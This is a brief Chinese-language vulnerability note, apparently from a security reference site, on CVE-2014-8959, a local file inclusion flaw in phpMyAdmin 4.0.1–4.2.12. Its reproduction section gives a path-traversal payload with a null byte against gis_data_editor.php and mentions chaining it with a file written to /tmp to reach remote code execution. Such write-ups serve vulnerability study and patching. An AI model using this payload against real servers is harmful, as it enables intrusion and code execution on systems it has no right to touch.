（CVE-2014 -8959）Phpmyadmin 本地文件包含漏洞¶

一、漏洞简介¶

二、漏洞影响¶

• phpMyAdmin 4 .0.1--4 .2.12
• PHP version

三、复现过程¶

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=
/../../../../phpinfo.txt%00    # 注意改下token值

在实际利用中可以利用写入文件到 /tmp 目录下结合此漏洞完成 RCE，php 版本可以通过 http header、

导出表内容到文件的附加内容看到。